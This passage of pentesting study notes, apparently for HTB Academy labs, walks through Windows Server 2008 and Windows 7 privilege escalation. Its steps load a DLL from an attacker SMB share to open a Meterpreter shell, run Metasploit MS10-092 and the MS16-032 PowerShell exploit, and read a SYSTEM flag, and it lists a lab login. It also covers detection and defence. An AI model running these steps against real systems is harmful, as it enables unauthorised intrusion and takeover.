# Copy the rundll32 command provided
# Example: rundll32.exe \\10.10.14.80\tXWM\test.dll,0

5. Initial Shell (Target Machine)

# Execute in Command Prompt on target:
rundll32.exe \\<your_vpn_ip>\<share>\test.dll,0

# Result: Meterpreter session established

6. Process Migration (Attack Machine)

# Interact with session:
sessions -i 1

# Check processes and migrate to 64-bit:
ps
migrate <64bit_process_pid>    # e.g., migrate 1304

# Background session:
bg

7. Privilege Escalation

# Use MS10-092 exploit:
use exploit/windows/local/ms10_092_schelevator
set SESSION 1
set LHOST <your_vpn_ip>
set LPORT 4443
exploit

# Result: New session as NT AUTHORITY\SYSTEM

8. Flag Retrieval

# Drop to shell:
shell

# Get Administrator flag:
type C:\Users\Administrator\Desktop\flag.txt

# Expected result: Flag content displayed

🔄 Alternative Privilege Escalation Methods

Manual Exploit Compilation

# For environments where Metasploit is restricted:
# Download exploit source code from exploit-db
# Compile on Windows or cross-compile on Linux
# Transfer to target and execute

# Example MS15-051 compilation:
# Download: https://www.exploit-db.com/exploits/37367/
# Compile with Visual Studio or mingw
# Execute: .\ms15-051.exe "cmd.exe"

PowerShell-Based Exploits

# PowerUp for comprehensive enumeration:
Import-Module .\PowerUp.ps1
Invoke-AllChecks

# Specific checks for Server 2008:
Get-UnquotedService
Get-ModifiableServiceFile
Get-ModifiableService

🛠️ Legacy System Considerations

Business Context Assessment

# Consider before recommending removal:
- Mission-critical software dependencies
- Cost of system replacement/upgrade
- Regulatory compliance requirements
- Vendor support availability
- Network segmentation controls
- Extended support contracts

# Medical/Industrial examples:
- MRI software on Windows XP/7
- Manufacturing control systems
- Legacy database applications
- Specialized hardware drivers

Risk Mitigation Strategies

# When systems cannot be upgraded:
- Network segmentation/isolation
- Additional monitoring and logging
- Custom extended support contracts
- Application allowlisting
- Enhanced access controls
- Regular vulnerability assessments
- Incident response planning

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- Sherlock script execution
- Metasploit SMB delivery usage
- Rundll32 execution with UNC paths
- Task Scheduler exploit signatures
- Process migration activities
- Unusual scheduled task creation/deletion

Defensive Measures

# Legacy system protection:
- Apply all available security patches
- Implement network segmentation
- Deploy endpoint detection and response
- Monitor for exploit signatures
- Restrict administrative access
- Regular security assessments
- Plan for system modernization

💡 Key Takeaways

  1. Server 2008 lacks modern security features and is highly vulnerable
  2. Patch enumeration reveals missing critical security updates
  3. Sherlock provides comprehensive vulnerability assessment for legacy systems
  4. MS10-092 Task Scheduler exploit is reliable for Server 2008 privilege escalation
  5. Process migration to 64-bit required for some exploits
  6. Business context critical when dealing with legacy systems
  7. Multiple escalation vectors available on unpatched systems

Windows Server 2008 systems represent high-value targets due to missing security features and unpatched vulnerabilities, but business considerations must guide remediation recommendations.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/windows-server-2008.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Windows 7 Exploitation

🎯 Overview

Windows 7 reached end-of-life January 14, 2020 but remains widely deployed with 100+ million users. Common in education, retail, healthcare, government, and manufacturing sectors. Legacy desktop systems lack modern security features and present significant privilege escalation opportunities.

📊 Security Feature Comparison

Windows 7 vs Windows 10

Feature                    | Windows 7 | Windows 10
---------------------------|-----------|------------
Microsoft Password (MFA)   |     ❌    |     ✅
BitLocker                  |  Partial  |     ✅  
Credential Guard           |     ❌    |     ✅
Remote Credential Guard    |     ❌    |     ✅
Device Guard               |     ❌    |     ✅
AppLocker                  |  Partial  |     ✅
Windows Defender           |  Partial  |     ✅
Control Flow Guard         |     ❌    |     ✅

# Result: Windows 7 lacks critical modern security protections

🔍 Windows-Exploit-Suggester

Tool Setup (Attack Machine)

# Download tool:
wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py

# Install dependencies (if needed):
sudo wget https://files.pythonhosted.org/packages/28/84/27df240f3f8f52511965979aad7c7b77606f8fe41d4c90f2449e02172bb1/setuptools-2.0.tar.gz
sudo tar -xf setuptools-2.0.tar.gz && cd setuptools-2.0/ && sudo python2.7 setup.py install

sudo wget https://files.pythonhosted.org/packages/42/85/25caf967c2d496067489e0bb32df069a8361e1fd96a7e9f35408e56b3aab/xlrd-1.0.0.tar.gz
sudo tar -xf xlrd-1.0.0.tar.gz && cd xlrd-1.0.0/ && sudo python2.7 setup.py install

# Update vulnerability database:
python2.7 windows-exploit-suggester.py --update

System Information Gathering

# On target system - gather systeminfo:
systeminfo

# Example Windows 7 output:
Host Name:                 WINLPE-WIN7
OS Name:                   Microsoft Windows 7 Professional
OS Version:                6.1.7601 Service Pack 1 Build 7601
Hotfix(s):                 3 Hotfix(s) Installed.
                           [01]: KB2534111
                           [02]: KB2999226  
                           [03]: KB976902

# Save output to file: systeminfo.txt

Vulnerability Analysis

# Run exploit suggester:
python2.7 windows-exploit-suggester.py --database 2022-11-22-mssb.xls --systeminfo systeminfo.txt

# Common Windows 7 vulnerabilities:
[E] MS16-135: win32k Denial of Service
[E] MS16-098: RGNOBJ Integer Overflow  
[M] MS16-075: SMB Server (RottenPotato/HotPotato)
[E] MS16-032: Secondary Logon Handle - Important ⭐
[M] MS14-012: Internet Explorer
[E] MS13-101: Windows Kernel-Mode Drivers

# Key: [E] = ExploitDB PoC, [M] = Metasploit module

🚀 MS16-032 Privilege Escalation

Vulnerability Details

# CVE-2016-0099: Secondary Logon Service
- Affects Windows 7-10 & Server 2008-2012
- Privilege escalation through token impersonation
- PowerShell PoC available
- Reliable exploitation method

PowerShell Exploit Execution

# Set execution policy:
Set-ExecutionPolicy bypass -scope process
# Choose: Y (Yes)

# Import and execute MS16-032:
Import-Module .\Invoke-MS16-032.ps1
Invoke-MS16-032

# Exploit output:
         __ __ ___ ___   ___     ___ ___ ___
        |  V  |  _|_  | |  _|___|   |_  |_  |
        |     |_  |_| |_| . |___| | |_  |  _|
        |_|_|_|___|_____|___|   |___|___|___|

                       [by b33f -> @FuzzySec]

[?] Operating system core count: 6
[>] Duplicating CreateProcessWithLogonW handle
[*] Sniffing out privileged impersonation token..
[?] Thread belongs to: svchost
[>] Building SYSTEM impersonation token
[!] Holy handle leak Batman, we have a SYSTEM shell!!

# Result: NT AUTHORITY\SYSTEM cmd console spawned

🎯 HTB Academy Lab Walkthrough

Lab Environment

# Access: RDP with htb-student:HTB_@cademy_stdnt!
# Target: Windows 7 Professional SP1
# Objective: Get Administrator flag.txt

Complete Step-by-Step Solution

1. Initial Access

# Connect via RDP:
xfreerdp /v:<target_ip> /u:htb-student /p:HTB_@cademy_stdnt!

2. System Enumeration

# Open PowerShell and gather system info:
systeminfo

# Key details:
OS Name: Microsoft Windows 7 Professional
OS Version: 6.1.7601 Service Pack 1 Build 7601
Hotfix(s): 3 Hotfix(s) Installed (minimal patches)

3. Vulnerability Assessment (Attack Machine)

# Save systeminfo output to file: systeminfo.txt

# Download Windows-Exploit-Suggester:
wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py

# Update vulnerability database:
python2.7 windows-exploit-suggester.py --update

# Run analysis:
python2.7 windows-exploit-suggester.py --database 2022-11-22-mssb.xls --systeminfo systeminfo.txt

# Key finding: MS16-032 - Secondary Logon Handle - Important

4. Privilege Escalation (Target Machine)

# Navigate to tools directory:
cd C:\Tools

# Set PowerShell execution policy:
Set-ExecutionPolicy bypass -scope process
# Choose: Y

# Import and execute MS16-032 exploit:
Import-Module .\Invoke-MS16-032.ps1
Invoke-MS16-032

# Result: SYSTEM cmd console opens automatically

5. Flag Retrieval

# In the new SYSTEM cmd console:
whoami
# Output: nt authority\system

# Get Administrator flag:
type C:\Users\Administrator\Desktop\flag.txt

# Expected result: Flag content displayed

🔄 Alternative Exploitation Methods

Sherlock Alternative

# Use Sherlock instead of Windows-Exploit-Suggester:
Import-Module .\Sherlock.ps1
Find-AllVulns

# Common Windows 7 findings:
MS16-032 - Secondary Logon Handle - Appears Vulnerable
MS15-051 - ClientCopyImage Win32k - Appears Vulnerable
MS14-058 - TrackPopupMenu Win32k - Not Vulnerable

Manual Exploit Compilation

# Download standalone exploits from exploit-db:
# MS16-032: https://www.exploit-db.com/exploits/39719/
# MS15-051: https://www.exploit-db.com/exploits/37367/

# Compile and execute:
# .\ms16-032.exe
# .\ms15-051.exe "cmd.exe"

🏢 Business Context Considerations

Legacy System Scenarios

# Common Windows 7 use cases:
- Point of Sale (POS) systems in retail
- Medical equipment control systems  
- Manufacturing floor computers
- Legacy application dependencies
- Embedded systems in transportation
- Government workstations
- Educational institution labs

Risk Assessment Factors

# Consider before recommending upgrade:
- Financial impact of immediate replacement
- Business continuity requirements
- Regulatory compliance needs
- Vendor support availability
- Network isolation capabilities
- Compensating security controls

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- Windows-Exploit-Suggester execution
- MS16-032 PowerShell script usage
- Secondary Logon Service exploitation
- Unusual token impersonation activities
- SYSTEM process spawning from user context
- PowerShell execution policy changes

Defensive Measures

# Windows 7 hardening:
- Apply all available security patches
- Implement network segmentation
- Deploy advanced endpoint protection
- Monitor PowerShell execution
- Restrict administrative privileges
- Regular vulnerability assessments
- Plan migration to supported OS

💡 Key Takeaways

  1. Windows 7 widely deployed despite EOL status
  2. Windows-Exploit-Suggester provides comprehensive vulnerability assessment
  3. MS16-032 reliable privilege escalation for Windows 7 systems
  4. PowerShell exploits often more effective than compiled binaries
  5. Business context critical for remediation recommendations
  6. Multiple CVEs available on unpatched Windows 7 systems
  7. Network segmentation essential for legacy system protection

Windows 7 systems represent significant security risks due to end-of-life status and missing modern protections, requiring careful business-context assessment for remediation planning.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/windows-7-exploitation.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.